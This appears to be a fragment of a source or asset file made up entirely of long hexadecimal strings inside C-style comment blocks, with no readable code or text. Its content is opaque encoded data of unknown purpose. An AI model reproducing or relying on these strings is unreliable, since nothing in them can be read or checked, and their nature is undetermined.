eb07da2a86c21116558efbc54da0760ff159b518b13ddd5679b678c2758873cba8e09ac0a8f882afe60878dae3824ba625274e5103394615b66619d95083c444e5778939c86d1b7240e63d0706db5acef7f766c834765c707c07d4d7b9754e3b1172323faa50ffe7d25fa653cbf4a10b7f338e33450b57b90779f20cbc72f182b723447c2ba01bf7c62ab6833a68df9b64e025782dbd3381ac1bd83b21d9682dd6ac326ce7597aea7728bc985c79c4d4f5c33444f9b8e63ae28352d0bf84e0124bd2bde550251f0de89242fa69122c67196caed93d617a6a75eb66b0928cd425a4de2121ec207847f9f20939b5291a16c00ac9aa9804645a43e2e8742263764cdaa5956667fc52b1147d5c1afecfa4bdf941b27fc4412f94c72c3e4e56b9aad934bb27ac5d049705f83d9d41daf4a48fa6a835cdcf7d28fd73c92016d0ab32dd65540e4af153f3bd07c22b639ef446a8f337558d568e629e159bdf2256b21204fff14c993467709665e6cbf5634b9d288e55ea8df44abc559b231fa4ce4acee425bbeb0a44e076aa9798abc076dfbd8ad3435ce32c3fec1ace46f62571db89da03885026f7e1045d37bd332a1cf91f40cd3ac0e0cde17fed3f8bd74fa22b4af9655f63831b98d736c9d498e81e947b5c3802432d55be5c1e5e2f9d9cf900c56e6ee5787e3dbc5fc32a29bf2cccee12563c1e36875549ef6894433ec5480c39e026f05f044e42c92084f5943203a31dc0a1d63c29a0e8dec7fd8fb01dd8e789f48a71bc166c6ee925b7164a2a359cfa108718c606a260b89484ec02d5a912fd10658c6c82c34332de0f3567a52cc83d04547f3bbebc5ff335b003785a26916e07d9541ada239a271e7f368d42a98f81b01f7cd2c16aef09a87f03fc13f11958f9e9faea74e7d9f1f8d216c583b4d8dad188651e6dcef3f539cd989e6bf5643422b37469e84c51cbf3834c7540eabfecf87fdfbbd454e5dcefbf4df521e2e2f971632b495e0009bfa3ee450597e37effd68048f4d52ae78cdd34cf6fba87f9aaf633d045b70c6abdb7afc4ee60a5c1fe9e43263dd477a8be925bafb77395e3419ddb6a95f1367b50e56d20142a8f1be207eb38ddaf1ed48ecc968082aff33583261e28f53092ebfe0463777b284b202ed8305e12a22b3e7ee2a82c1c1696042682f159455af780e0642ad1729965eafb133a5c05a9d66ee52cee9e5657c0d8767613eebf64eeace50548fc2500ab9e84fb936f96ee2f66a551bc09e331ebfaffb941eb2d64754887c49f7f48a3259949a60e25da958950c77eb67924f916b53a844ef65ef7a1e4c11cfafa4873a75fe83718e306723bdbc953a254c23be4dc7f21f0ed8ba6790f514512cffabe47ad6584ef50370aa1012a3cfb95bd3557d49156041a78caa278325142efa8975a33e7a3bd53663f0a4d69c4eeff54408e02c0edcf52c621cf96718b8b6e725f0f0f1917270af7110d17d0b26856c7c7681d63db249be39f8bcabc745a1ee4570900d336cbad81149b3d3a43670d518353b1da24b4a60cfdbc53c6843a7e859da20bf2278b7ed591a2a77dab68f0453cde05bb48e3b3bf44dac88dec804e20ff09715bd2d808e4c048304ecc18ea0611ef93d66b6bc62e6d3326404b8cddebc7d23480b972820a24f262e84d892d59cf34781c648513d56a3e8446e355f797e0601128652991ea4de20f546d832932127a818c6b6ba8768e1210c8df9055157d695d1915da5064d5387a518c2ef4b57ee0d1af5ba1fa73bb45c92c565e776f9b7160b4aeb73cb07b052b07f669f0b984f3ac70fcc1e7573ea2ac819c4c10e88664bf8245e97af5366b3b13f33c395f41f0b0026beb35aa5a08f835ed4b64be55cd637a27aba04c99b2903f9519e5f4f7383cc201f02749e7378f06d973c7ce824dfdfac06af188cd1a3379fd831203400ccc3a8280447594e4186ecadf13493d245592abf1f97477ef1342e8d6285a158ad7fc3c1a0ce1243dbe92957d48b86e5666cbc273dc86159dbed2c7eaa2bffa95b2e5d2f5fe5159260602d83b0faf0cfade78e5e13d6f08ba9f7272e07fa7474d1f9ebdcdb96b8b9bff654071c23be1030448b3d314a5e04663f82f54c0920ade1cf84721e8eb45a2e4cd2963734483c6ae1074a7a7414ae160ea8c69eadf79f14706f6742625a3098ba2776744efed0e0e193c35c220b9aaf7c6d50c80ff1999ae*/
/*59ec8e7564430c77a72759a1c7b7cec7e22ba7921b74937d217a032c11c0ee3c272861dc0e984306798aca5520d2af7832f03522147820f5ddfb017b2fe53e5e7a9b667bb2e55424ce438af19479b7d1004125ede33dee342b887e9fb2bc34beb422dbf891f0c22a49a572d5461a5d23fd9eb7c215f00fc1d37bf26155f87256f16c4d01607f694af03cf1dee1399db24d5406c3ab2920d66cf826d5aa671cd8e0540b299397c694ab8a5fe2dcaa4bcef63e34b556e57cd7a5d31b587103a376c05fbfebd4f127640b876445df91fb4f8e0686b11d796dcfa48b45081d2084cb0212dc3dfa8c2544551ed44707cf7b86fff5102e232bcadd2096c220853294d139d7a3729f574240e46c4fcb08d882ffc27c3c16b36af554c499c258154f1ba820eda6f9927360f29588a4deceb8b147e43f6b2b640996b846f784a658cf057e3339a775bc8c6bb3ae8cd11f5ab432e5f874ebc4bc7ebfc9f0f0816b8a6d8cd7283b75e06c39f94ce16ae6405ba800b800dda241d4de16ed1b5b482a9dd8b2007a218c765af935fa63a7b8241be491728d796d12f31d4aff2864f42fc204631af68bc06802c765e14abe54fd8f6969bf13864e2111170eb5e724b3fb891ca41efcf3be8c05496f99be3f39ea56637f502c0c89606b4f5fd11b55c76cae828e355bceee43a777e1fc6bc0a6d0370fe4a99e8ce6b513a3be333d139ff12f269a93feeb7ba913b9aba9bd56b4c8ea8fb195f286fa3b0a939d33f940593f2bb83bba576983e430264c864a457dc12545b5d30e6e22ba3ad7efb77df69cf98b172b30a66f65b3913d71724d1a3cf2dbcde89992a8d893d02ee8b638caddb84f9ee4894db987fcc93624d385afc1b1721090be91b470b1be1048dff8e48c34f5ff0dc9a4973a0de6597cb96c5b0575c4b823222f6017af4e82096b160223275bb3448f1b982ad36985331d750555b727001f315eee0e1b36d9de2e12a9baada3bc936972600d4a845936c778679aaae4412b101dd4547cbc85cde33ee025c4b24510cd8e4ab9b1bff2448b2e141a90e1b8f205b91f5301c2e7fc7307598b6a52e0b1101cb2f9e0e72deae12a15f2719f49100fb633c7980f815a9e66505e33e9eab3abb8ff1aefe84c932905dcbcb287f94fcaae56c5331d70a84e0b0377b95aa37ceab18e5ad43f3533b2ee57a8d8898e8176b6701d51ace267f201764954ce4601a5c0a6fa33b1b4d71ceb44a5ad6a8e95d3a0595720e5542e749fce9f0df29b39cb8d947fab8a62826628fa546a3dcae135ac997926244c3de8e64d854435a5566fd6037d9350f6c6f651448d8b52aca29832c6e62972d509244e4e7e458f4984f2d57b56020784a3ebe1c2a87cc0eaa21e7cb7b9611d52eabb4b3c792b8fd4be111e1fe025622327d8c89cddf805042c0b81cc9b09ae41ed48dec3e2e0340704ada75f424386a939604733697919ce900bcd94ea003202b49433c2036fef71354c34982e4de36bab14558c248e163bdd5b51285dfaf62f5c43570dda401cdf1c88a4af49c30abd8c0a156c86e0ace5f528c280e8e731fd2799b73f5bffb3db726f3d1e35aa06eae5412b97bb818ce523e9e7761cfae7a195815a4dd60ae3f640abfb433240cf4f62682b76d0b380043fff5a002000b0c38bd09314178f76bce52d897bc0c0c5ddc961bc5e43c4dd528cea0c0f49ca5982afab0855d0c8ce8eb5f4fcdd1933ac693d78d57ababe799fc13264b70478a68b37afa155bbdfa416f6b915b4a8508be90e59964639294b468ac904621f37ca8f33a8c1477b85e6e3fad021d16a174c3e523a60ff540a3a9c6c56605e013d6dcbff0b71ac3d953d58c408f0955f16146addf1637da1cc958f973046c96e57b121bea13b7c9ce40634b4f41ca06a8d4f84375ce1eb913da069bba7e695b9bf54f1cbdc90a02cf3f23ba31fd49a3738e764adbfa4e052d419d0943f6fb20d68786548a02e3bd95a461a7589643f67e6f8594b8ed167710a2bba3ab5780d25a34a3daf92e094f75999bc01c8e647bb00e7769e2a734b9b5eeff9ffb9c015dddaa156b4cd8cc3a0cb61c8241df3ce09538490335d34f458ba84aff1f03c88c05a7d9787d90d2985ec62acca288ed28828398104abc7ae9621dc19c1b00222655abd85f5fb4542c7a91aa526ae0268c81d90db48d9e80af299503357285bf51c9c7492fef163d6de8e9a59447b8c4763fd3c65feedff7d39c36db63edef7340c28020c28fb922ec2863ca87dfb6ca578b4c12311840529ca441c98b319c70b8ad9bc752e313c8f63fddc8818a84440b104029ea075c69d9db325c8530f611f3780aad46bd22eaf60101c19c62bf6dc02a7838c1efd9ee52f1e5e9dcb1c869999fcc5ca559aa7f8aa91b17996a61529bbdea4ba1efd63d10e9f309f131c9a872cbf5d46b31acbf61f14763506c5c31ef03b76d687468eebcbfc2b6033da162956cb592b560c83580848d2c0f6a59387cc6ca1db40692db4bc64dd369a442bdf3823585eaa8cd88d11241b7ff29249596336e2c450078dc67f43eea3066708b3ba94a202d38bc3d873fa7a563ede2fc9b895d5644197d27c0301a00bd61bddc71d4da7d6d0fc1fab8eb0c6a181b72d8c204eebd5778de10a4a5963dd8afb55dfb66fde82f3a508d20da6f7d0935ff41e0fd3b1fb1dfceff17a823d0e075e8c6770383dde8b2a6a7de91f18f48aea7de6fd2f0d253eb50b33df2df33d1eabf3f32cf4c844d0012669e6fbcc09fa85e585dd4a14074ce64e8f41c8e4773f261a20da6d5d929bbc21b84a3263e7d0a8b34139f728f19799590642470adef7b3*/
/*19d60f22b13e097c1b0ecdc8cfcef307aac0c30cefeb8d59a4044a04b81f34ab0ec5ce32c370090c756f41742f7bbc2aecf6f58df0f47d10bb979db8cb6d09d9cbae5c47d2c54291b698ee74e5e8b10a22a48a265e8787d962f7fefc9ec4d5408fde72c6e249c4750578def7003717d9ad3a5d9de3075a4a08c7f2e12388ec0bb56c3b61387c5d1af823be916addd3c5a1a8f50e843c3689bd5871d2f77f871db684f5fbad2854e07e03c34a11cfac5025f99bd782f76611e5558af2f2016a37a41ffc7ea303817c22c0f52c843bd79b27e5f067c8ac892f6b725fea87f3a9862992c8a13e301429590c33198c95be546dc4e1a2722b7150cc6af0dc9d57e9582e6747c72898925159c9f10211c5a57a784932956b7d5c52192c124c437333846b3fdfff5cd11a148a3ab8a9fc036aa20f448326432adadd377449a479523acc62734e2562461ee2d0e28402d3dd8cc6dbd6cff825e0d76e70f89a40882050246afef22f72e1f6dafa8d4a86475942bf9e6cbf2a250ef3116344b36f16bbcb487892a942788e461ee65606b6a700d63d2a3216b221fe35e150b7b6865095096bb7dfaca7d7fea75fafca158ee80a4733211394d03cfc86e087a53f5fd2d56a7d1ddff1c5e4405914038dfe80aab1d72c7727e8ba0b9d4b8a33c72a9e575a3f4945ef3679ef3963a19b7c4d226c33b335daa4b2538bdfbe9b639566928b8a9d403b4f6b798cc34a5c9ce1ecf2545b63326ab05439d35e482441719c5e7870b1a718ee3f6aea47d3a606618e1e63858492e63cb0d4caf7e99bc88eea45045b73b64d34f5b5a9545c0a2b2491e6e0d7ce37bf8e2beda43b7158ea599675c45c8e7b564acbd19dd31cc0948ace3db5ea62dd8d2ed7d9cc3b154e5dc311fc0849af575782df2971a0388c9ebe848010bb0d37be6d1fb6909bbb508f581c7dce13213c1139ed36149ccdc5e9aa2ab547cdbd4a229e940872916c2871d0302ab3437aca68b99b27e4e1ae596900f6411c6d43e0e2a0284a603eeba242d328af1ff8b357239b6be0df6ed1591b9eb18c37720f474a685eb67765326786d9445d2b3591843898e66ed0fcb915484a537ef46bc3108ebeb1843c96459dfac06ddee0f38f4a4c2b28a9d3639ebe830b3ce7039f4afc604b44b29fbc78b0fd5f3d5414745d3e433c0f08bc32e6c555bee005964cc0fd44cd0c7eb670a532ce607e244cffa4ddb483e68f01dd6ed6cf83216d2eedb901a8aa6ec1e2fefbe8a7f221b9653b98bff0c74da403cb78b29862481115a6f9dac01ca6137ba453e2de4b296abe4cb07604b8641fe86dbad890df4ebf00f95e6cf25c1367f0aabe425e2deb7ae2c1f9c903e68697fabc18328051a4a37d9da7d3487f11cec0a68ddaa095724ce2fd95a1d218982e55b8f827edcf37cea4dc264bae798a99e69469c3b2862222d9a087c63940565b8ac39196ba74e0c69406e0bd963e8fc9068659b4c59b4acaaf1423d15f74ae1ca0440d8bc6353a3cbd82de8a898e3497498d47400d0c3d9c827bb53dea6997097ca562ad4352191a01df6584a07c3a935d9b0124602a8cf303d9b4e4aa2abecb91c365ad96ec76adc2b9be95d0675bbf20643d4939ca8148db316c0d77b335433dd3f0ff4ec01b999725dd162fee71fc7fdd6f96155c54573a876f0286cfb90e4716251945c59b822b60387de285885986cd9ea49d51f230dc6a6caeb4bb7506697fd1228ea2ee0e51595e86c9c521ecc86eb8469a3204f8fba81fa4c2f7f4c9516c764c752b164cba3f8a018a952f2b4e1a3b4ee5cf92c8b063a5ad0fc45e2936a71dd4f153120a2fa1ab0ed5889907563d1c70e31075f8460f8b6beac4f8be09701776db329859c08e66cbc0a6120c36c553845bd09f9e3c9011ba04a357f32557824ab1d99217f01a26f05a2193d5e63ff3dc7fd3e90bd85bafdee3ca997cb211e8c017220388bca3f053937ef1b12df3815bb0a397248aacd4af7fbc1532afb9801863bf96553da72fd3fa9eb0a63e9e2e6243de5b472b66cb42fc456c823d3306267004f1129b371a41d6622c4e42dedbab6d30930bc9c819fb92a2804d5eb89a5017138a3e7db9f97b9c1e41a98209ef9fd6c7f85899a9683a98b5e136c8eacdcefb3c556f74951a804080620666af130331466c25072ec29b831b589bf4e0a3231e4644cde4171a0340b32423502fc45dbc5dd1fa333736d036910e2dfee77317b459048e9302f90e428c26b759c28a61f53f8c4fec8da5452ae3daffe53ca373c1a3ea2b42432611ca1c80ae8b82df0ba42c36344f505dd3a563c0dbf83b611da89ec004186c129ea7c5934651ab9f2bd00f268a9b0a2402cdd4445819ba03df9a8b0b45d8fdebf415816ba49203265da93b83244c2ebc1ca6ce013a9bc21d1cb1d480f90b3631cd71ff61c66c7d9d545dce56797a22515cb57b2015cf7d891e8fe504c9e6de31e2d39991fbd923949e8c987880d8e3ac1ced239d3779bee293f4c9169d462cc1ad987b14a5aa995e1a87b1fe55d98224fdf9e189530ab04c064b5630e6c3ae80230879cc13b34d9ffcc1ee4252752552a8ba1c5184b5c418de40deb30877929931d5c34c23c4e7eb215a424a398afd3eadec09264d317c162e687573f7842fa62b3c336c84333d6bc0e70a25342bdfdd6703ba438ea55ca8c841f3e7d6a26232ac582dcabd9bc90353081a2282a3624d727b898f58968c5e2507ea6b5032a0b7c90ad9683aae158e35f329879a920af6154fc7a51f13e4d43423b8eaed239a52742f6cc2bf128769e7610f94456c4f94b5bbd8f00de517f39b3d0e3f6e8310d46d*/
/*1b0fff8284b321fcf4adbf6b0a15e20088d5106a9612f21195081afbc6260095fd608a5a010484c7a7f03a81b2dd8004b9698f64b28fb597eec779072f41b92f8d3181eb1a786ceee490b5f0cc3a742a4f4ebc46e0caf9536b5002bc330ab976a1a1c86861b7f0efb48712edb782b991dffa4bdcf39bbd88ce30a35845a579201f7e2eb28498aaca7c90565cd564dcb6124d5b1ead2e8f760f630d09e05b957f9899cbb469a77c150997aaa7ac51a1d412dbd1c9237c48e75b5f31756eab0f4e4e601f26864c5ce7a76ab18ff9de0aeeaedc8c8126a9b39e15ca3b9f397ce9f1ec697649dc2ae5196e03db4265423f7b4d3892511e80aa0a72bb48ef8739ad26c0f014fa8a39bbdc39a076fc74ea83bd2d5a3f6d08426eeebe1f1902c9025d0c34b1e5ebbad72d05de6554aaa5f7e4ae19fcbbc7bb7268c41416351f240d2ee7e29d91e75078f5964845b2dd36aa655cd9e6ddfaeb34359093144cb459f4507dc577146d64aa41cf884322928c26a0487bef5663532af4f455055d7a9447bdb97c05397fd5e8bd5c0208ec9f8413bc9488afe171f967d3a4022a6b9456549d8b3df6d52d6c8272d4d4cbb52a2769cd1a3fdcf7e08663fde70024aa47250ce68486c5a63a4950494bf0d21d1dcfbe07f32d6f45b9475415f7c6731d7fd86668717193dcd804bc465487663a9b77010961ec82d652130d8ab842d29b029e54d154fe24c4bceb1eaa67650baf31c284a56d075d711fff8b5d071a37a265fbab1618eb17cec70dd2932533adc16f4c868dfc45cd5af33dd4d014857860702274f958a288a21e56f3bc73928d1e3fc254525dc38974c4ae2c8999b3c76ff2eaee4faa578be73e368feb1cc53e64716191835fbab289cef1d5c5210fe816c027f0d727b1098fdbd808a2cf8b6e447a5dae28036deb34b55b218bce06bd760fc410d4b1b3b6c89276aff20adb4e6270ac7a78a5f0795db51a188efacba1e4164a0dce6024f062797c32b94dce3d7d7a7a4434d141340c4b3da5fe078aa13cb270e8ba153ee47352d89c33c07a8c5f89d46da72122f7728dbfcd69196c492cea471c90bf0af72fe21050d4f9027667b031a652b0312c7b3a2f31315e4288530dcb022129a2bba2beeaa92f4d4146fd81a5ff31d442be55b2e45c3f14f51bcf5a68aef667b3981fed2652bb0d95d96a925fd44e9be707bcc1f3693676aa4f83576c64c1985e5ada2464343c6f052ebbe1d44777cf585fc7b536db2f2f675858680cd38380556da497d99c8c70514d4fd01139a7a13385158853508abd9940821d00ae85bcedb7e0a6fb7b3e463eedaf33fc72d14783b4edb83c98383e2114f578f95b072f0b12d302234b5a11ab90bf873e84f3fae3b5a68ea863acf358a79c1373aa81daa602147f6deb90ae995694acca9d2bc2dfe6fce8dc6d4363062d1de4c0ea81950ae58a9fa8f96a4d15c2c4171c14d4d3353b9125fd5800166989870a19a21ecdea265f13500d887f4ba255c1a8f734fcfdacc285dbdc9cb030267ea252fb050adba5b8d1dc19cc9681480e7d9e1e39f5c680c67fb952f51860326bcd395cdd469448d82a8b2fdbd23a9063de244b323154031a02d85b3a92a25e1c7f945fd371e70257252add745fce702efc12de77259e9d868e01758219cf570b198200fac9f706fa805d89bb1ef0fc483e0038efbb2b93ce45eeb8a604f4e9d0969f5b51585dc52e7a7cc9661e68cf74a7e471fb9ebb65a12a435d93c4da03e0cbb4b15de69de5d11ef99266cee020c14c49a3737727f5de531ec5295bb3328df95d3c02d29dda5b366f8fcbb5ebee60b331611132cd63dd1c2b5fa22854e112336380f6faf9651acdae9562cfbb221c9391e1984c7f15835741a1a052fc3d182b8d1ef2a31f5f8f67ef6177e652d19e81221a2333ab374196328f8aad50572cdffc2615dcee9aeae0db636a30cb8432ec6bc670bc89537e7bbade01cf9e96058e66ac340fbae904cb6e6b02e17f963d6147e0a8f71559ea8a8df425aa973edbf5817589f91ab0dd655a77bf502d64dc33b75928cf1655b1abdfe1d79327e380fc521145de6b5bec5d33d274a12ac449284d111beee1a0d75f32d4c631665f59a23dc1cb8bbae015158839684d24ebaebff379f0bdb250af0f8a2e1ae25c5cefdef3acdaf2ab80e6b63cdd0a2ae050e32c01926fa6ffbfcac60db4bf279122e0a165c07b8ca9fbae9a5f5a0f64ec5e56ccdac834e9fb950a2a23df17a6e10c5e814517f0d1593fda6ebfcfa9f0cea916849d7dd1aeeefe65b2db4ea78bf6208e7b7f96158d3707faa3ad9d2b030e0d2c934ba49955487a0df2606862fea321ea77a937cc274f8790894352fdd07e6441d149521059823eb1f7c287667310ca98084b5635e3b9958f96f8f0960ce16fde936572e317c133a3565dd8021b27e1a81913e5e1d3a7b06fbe45f6f5868ad28017383694cfbe2bff3344f186046a7e288713d608ecfd814759b50961f65d5394336c6be2f5308e4a7208c55f842a279214fb773a726f58a853a90e7753943c8858c3d7ee7358b07b82e9bb44a0d73c97330047a28a14de80793881b48527086c845d8fa88401aee1b1a6ad443904cf0dc0298ae4fec3450b092d47f585a46b96cab2636869053871fd9566960b894a9936b403b9939731da0c0e8f415d32fb0b7b4c14b7df387b2267d17f14788bdf5b21e6b77fabe8fd2cc5755f2df6ba04db09e4eb8a4b3068b94267652c604a4948dbacd8c3c4af58358e279e16af0a9159ca5bafe81ebea47dcaa5b3b6ea2cd3cd54b39cd5eddbab43cafdcdc5a3278d50b5aa57a5a9*/
/*bd2dce23813d57941b48c5b988671d78bcbdf5b1d78833872ae720331061a2f1f5c46df8daf31aacd229e20cb619b2a8743ce869f3fd7ee172e6b371c04ee283577446f529b79e7279898a00f8683d002eec678c6c1f605341ed966879ee62de0916c9069d5f9d0f05abffbc4cf3e7ef3f0a2ac6c4d9fd04e2201182b1a5b35a4205970627a71bf5db81ce27b81e6e47d6da587b63f6cb78e22d9a43f677421a84ae87df5b68aa892e7fed2cddd2feb41257f5c28467e5e60a3ec89cbf9981535e08f13e8d76f95825d047501d2ebf5a2e80629783966680eeeaeb89990a30ca84ad4e3d25876976982c958c50de8413ed504f27e657f0672824e85060d592aec0846b8bee2ebb814e60d7211c2bbc4a61db1fa134166bd818e409fc180a26391db4950308a6f395f96cb5348d57fab95c0ab0e5dc045949d370ba5d46134dfc9e49700c439827e9afb39abd9659b4a801cf42fa8ae4a37637bd2231fff638e34658ebc6b3381b37ca9ed05d425139e85e107ae2ca167435779936a1465b54f4e8261e54ada55be39cf698f903186591a1ca44f7c1a78614a2e271b037b69d4a36a3d802a212d1d944842aa93c084413f22b5305f444117d77f7972d3857aa4c0f216c0772a0a114128b54c4d186afc3187bc51b42d0f27b73a7e4417671c0e334fcecdcdf4b541aba46bb685f1f834798efa8afba42d0b1ddf6a3a031f621d17039eb9fdc06a90989f2a497ed3701dc422a5cab68a7022c6e5058a99be42041aa62e53d036cbf31f6bffe06ab19087a3032f4d4d27cf6a01230d6675083a2db7cfcb1fb54c33574e0b60b978e5475c7530bd8312ad3da0bc26c0b0e9f46b006595f286f57a4ee9b19218e79aaed23ba45ebcb3ed73d2b8c1b6fa617c2ed39cbe39383b8257ad1a0e3a87454590cab67333a0a5c259ee5c02b87506e2a3b2bf030578ea441942295ee95bf887cffe25581b233b2dab26b1078ed4a7cd328f018b9a3a3c428bac2cd14cfbc01bcd1078ae6339d0d735cbd0c451aa38a25b114bc60cf5e1d3bc296aec64729a7d64314d7a7da569402f736138637131cf1bea11232b5bc1e3458b6e7b7ef594226a4d530be8dd795329e2e1efde8736a39c2ea2b0ce5fac4b6dfd784a2c4883b4ef30a5406f360e5257e043630bb0ce194fbf9d1d52015886e8f60849aba8944031a020ec2729023f8fdb2c9eaeee5a14672a6dae60c7b430133d6329c3526121aee6fa098e3869fba8c4258b31ebc1a793ebd3d7f03820df3518dc82b0202e87de1e90d438f63eb83d88f925173e901015a9aa5840d7a916cb4cc626f9d6b6f97e820ee30f482ec7fd949ebf58681ddb0effaee3292ced1abfbe370d6848e04cf7ef0e9bae849cc9f8ae3509cc21a298313f0ec789c5240d572296442b0567056b5fea5fa0967ca088d2eaefb231da436d0438151e7d19f48013580189ade1b3b365607c6bf2706b31c06de296ac024c55fd10c25e897aba76d5ef1a8d644efaafea92aeae1b8fa68d5a20d6818f6251e9aa96ca0e4cc43a15d964d0b007eab7630e8ac5e316a709c5c8f3eac9f287eed294b87f726a2128003ddc446d8a5c5a03f3796de17f4ef1111153395694203f2a35bfe459f4e19d2a3df5ed078e873d28c027edf29cdc404a0aa3fb8f5346f895e5112c760d8d2a046bc530b6982b9ddd3a8950babd4a9eddef3fed11ed8266937190ce6adb3ff934af92f440608d98855069fb8788583ac22dc1b27d708c7b1370d1a4c6bca3f18c2bcc29cd31def0c22aecb3c6c16237c8f7c010d93b60d377e7790c559914ca36c53cdcb5c97547309accc7b41067d5f6bd1e30dcfb957d061fedeaad8c14a55b88c8f443c5f6ba0f321dab78b3f1a8e55e3cae4ef220739c3f820fb1db0a2140e05846e3fb1d741e615eb5e33590e9ebb675eff32901a6cbf831d1690df52fa9201b71e6b0f169effdada41fcf7e02f526a06406a61cd619a74b739f516976f29c197a56e077850e6cf3772f14ddd0cb892e3891d1174a9cd2fdcfbccd1aa04ad6c1797e3154cdc05cdc95e51ce26dc797f1a1cb3ad4c71486cef9b58d9cf1decaaf7d49703a1d0ced5ffff3b6b3a68fd527495019cb6029a8ad848e0a92dc209b0a7e5c36497c970d87d195dda6a9726e74d306490456f34fd5f6ef2beb23eb9bea7466770d9bf29a09b0ea92e84d090b3920049fabb67011a5f7d26dcf51e44ce22917728ebc17612c295da24df50c1c3d66f25c7ee491174b5bfe39026a3f76a3c94512486b67997fd8f179f6b4140d0e17e874e9dbea3b1311c263b304d558c32a253b17c21aa51ae35f50d382e272d37ea1f25351fc31b1abade9d571859bc8c63c2e860a2679acd2bf088ab95e463c0d2638e8a572b8a0bef64413db258c774323e321a63bfb57a4d7890b22a647309fd490754d1086061922e58cc87ee2b0f3ecaf12bcb11fbf00d2c181d00568b5e5126f60512aa6897daf71cb6f4a287ca3eee15323510eb2e804dd9b2a92bfe5ada6e8e18d9e7803ac2cdfb33b56fa1f3adc1d84bcf1b716bfbbc51aae62cfe1bbb86b3ceabf7e6e14562134ca767fe55b6e2bb22d4f19a3cfaa8d062fa5ee60e7dd05a84b60b072043d905f501a90552a96e707c7afd84938c6bb16161132f75d1f39387507586006ad87a6c8eb0ef398555b047df81cd4553220f3906791e08159131a800211104ae4d2e78e323eca8d1f51062b2660b73aef05c56fdd688bc4e342952f3d6ace9f64020e67339afe801d7a587f0a2cf2bb15de0eafe9220b8272509e4af6ab211e4b6c1210a40a5dbedb3c21b41b8eb74*/
/*e7efb6d4f60f8e7d21126880d149212e89eb4cba260990a7053ecf699b1973a607e03f0a17d74c4c419509ae2fe4f5358c6724e6fa117ca895c83ee6a3a123950e6671940cd78a9eaf2e980f2459a4eb8b1ce5c72d6bc0f9b85d30fe1dc4f43f9d17f08275558d3d9733bb37f392b9ef41a605214e9e7db561c164f4ad929e691a3929d939cd428ed27dd0a630d361f7ca6a2f0b7b9f81ffde1bbb9a96cc0150282da229b43039aa1f9745c86280a294a68a821c95f7785617198fdad627e76e18930b60f75be64b9853492aec6570548f5cd154b29033ee1192e4d08c4257e32b4233d92f16e6bb6138c69024f3e830c8cdda53e31ac7a53ff17aa21edd55714937e5252101317fadf88886643446dd79122f27ac90042cc5c759e7dd6f51a592f523b765410e9d8d4175178f0d06b4d28086b622f7f43e611b01ff73ea1e24873192c6ff098c07a421b01e3a8e5aebef73ee6bd91d78cbb6500e7a0ebb96628b4e20bad52bb3885eb8764c6bf790204d318379194ff36f6cc3fe08281c37a77e6f9b359d889178d2560789f2986fb01aa923969c9f0975f8c09039a30e857dd16a39fbba8f686b32aa32d25ce4b7c100067f35684ae8942bce9da5d311a2f0517976a54aeff36bb25a22a46538ba23db6a11ac1115ee1a3cd68360079a48ec8aedd2cec085879b420295d08a0489b656378ac8491c297b2596ee196ee20e6872a94969febd5ead63172528413ba394044990ab872387251940690cc0bce147fcb5adc9ea75075f42823a4166c404439fa5b110c6431cd53625ca57daf56c779dc4c71a613894297fcf2ce3415f3c95aa4d109393462441805b606bf9ce8ff6cb18303600c3b42b544fba7f274a05d0324e12f95b392efd64378b5ce49fc7c226a98bdafb304085c0d74d8408e2747316feac018625c20261e27001dc42a3824eef4ee2122f9e13100677f4210ae0c12b2b6ccf3c0edf42ca7dfc53d7366fe6d6e0445ca1536b4fd3f6415ebb40511b967a27ac0b68af1d147e8c41469de9346bb15341424fbb26c79a4870e14c14edbf215e13b4f116f8962cd677531d06a2627dca431145aa7cdda8b1fe5aedf15d6ba2183b0c0f766a96a56512187297fcc9f83912ef90e7d64df5dfece9d2ca1927a252979febf2f0b8c0f0042f88c573f7017ee60e0075b04964e361d00995a80d42b4dbdcd3e90eab5805d44cc7fbb27f6a9d13f7eb8c53a951fffbf708d48ac91742db5b8228703d7f6648d4d3ea7515821427a88b3e267753b47c42365cbe97a7a165938c32b08551947301c74a620b52a3c73fb89d6d636a9ea5ca9cc08ce1fb2ebf38d9fa8e2a9f5a9627f172ff6fa13b3f95418062ccd5ec548be2a6d36e7934c5ed32aec84979c5fc4d1ed4b1483f108b364d9e90bbee96db7e87e72783eb4ca9f130323b400dee86b31c7b780019d93255447ba2fd94b12a3b4aef171b7207f146ccdb5df1b6bb8f16c28de4284e70e149dade43607354b85895188feed67a0774bd46d25761530174853ad8359a12b0bf3afd57157ac0c1b7e0598bb49b8e095dcb53856e762e7bb229ac6e149fe2f1940fd22f7eefe1cf366b4f00d44a4e90d00f169b6ef6d2fa6b246221fe0c39cea22dac5de46d023acbf54cdb950ccc47747affd20cf5d9e3664caa772485f411c31cd9d28bcd53d0ce063de68d42f717a273a9936b2d43eec4b593e6e491330ca3ef9be163370a3af9db2749794d0410a00e81c05949cc021818d5b7b07ba2ff43652c537e6c73856daca771e2d3811b3b5978ea71a5b42a593330ea877963eab1aee02e4e4d0ee8fc0c088a0118f3236714ea84c4f1c5a47a4299856e7fedba64da0ce090818e2650707bfdefb7556e4fb4d8321187eca8ec29bb1c18c413980920f900128b775ff2fc4547a5d07ff35a8b258e82b3024851c20603f0c811d484820324dc7dea01c9fcc150099d02c8844a7386fa877f8124704a3553ae5fe0cc01219d7cd84f9f171888f55b6d9fcb6bc538066a1dc6d5fc479fc0eae7828a3a6cd16b4906df9bceca912acb6772c2221c8b2a81d92e5bbf827908a7c7cf4bdc9dcc66125847f0a534ab424b1b660d216857dcf51702088bf59d5f65573e5cec0e2f13b69d2e34901bf231da1fbc433579a9e242219b43498c44664769447cc784c5d93414b93d33cb48ba80b443cb8ff1dfcd37bc0ca2bf7d41237db298c023a7bab5f858ff90e164eb21703ac91faebddf4ffd3eff69422973d72c61cbe334530376e6b9db2c77390e8aca02fa35efe45707fdf1192aab00cc5eac5c2169f89e0c95593beee3d6d865f817045187e990d7b63346a1b0c543c7e860852e9e9536556f5b529e2d2366fd1900708a4eab2704a831f23bd243d10db67935324296571e2125148bf603a09139b088607d69e871326b77fccc1b471b1b59080d8a081a357e7883706667e3518a9d70221686043b3eec2595e00a70dc87106e0917ad4b2787dbc24f97a934708b56ab924b714fe42cf7d11d922c2b5e5d2dc8cfa0cdbff8018b05b71a2095767c926178fb0cc5b004cd32867a97070e9e33032168cfd5cfd0b1e38efaf74713afd9f59bf74b876e2470caf41a79ed9f1e83b2ffa03b7a294d9a46eea81a5391a4367ce67d720985cd64ec0e5df1f9b8dc4075b31fbf31c5648b6b1c671eed9b9f77206bc